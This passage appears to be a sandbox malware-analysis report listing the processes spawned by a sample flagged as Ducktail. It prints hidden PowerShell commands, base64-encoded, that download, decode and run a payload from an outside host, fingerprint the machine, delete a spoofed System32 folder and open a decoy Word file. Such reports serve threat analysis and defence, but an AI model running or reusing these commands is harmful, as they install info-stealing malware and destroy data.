cAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:58:12
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ducktail_11, Description: Yara detected Ducktail, Source: 00000003.00000002.3346172809.0000016200A6F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:58:12
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:58:14
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"
Imagebase:	0x7ff719500000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:58:14
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1E8.tmp" "c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP"
Imagebase:	0x7ff7a20c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:58:21
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:58:21
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff719500000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:58:24
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:58:24
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:58:24
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:58:24
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Imagebase:	0x7ff63aa10000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	06:58:24
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	06:58:27
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff7d2400000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:58:56
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff633990000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	06:58:56
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	06:58:56
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff63a1d0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ca260000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:58:57
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
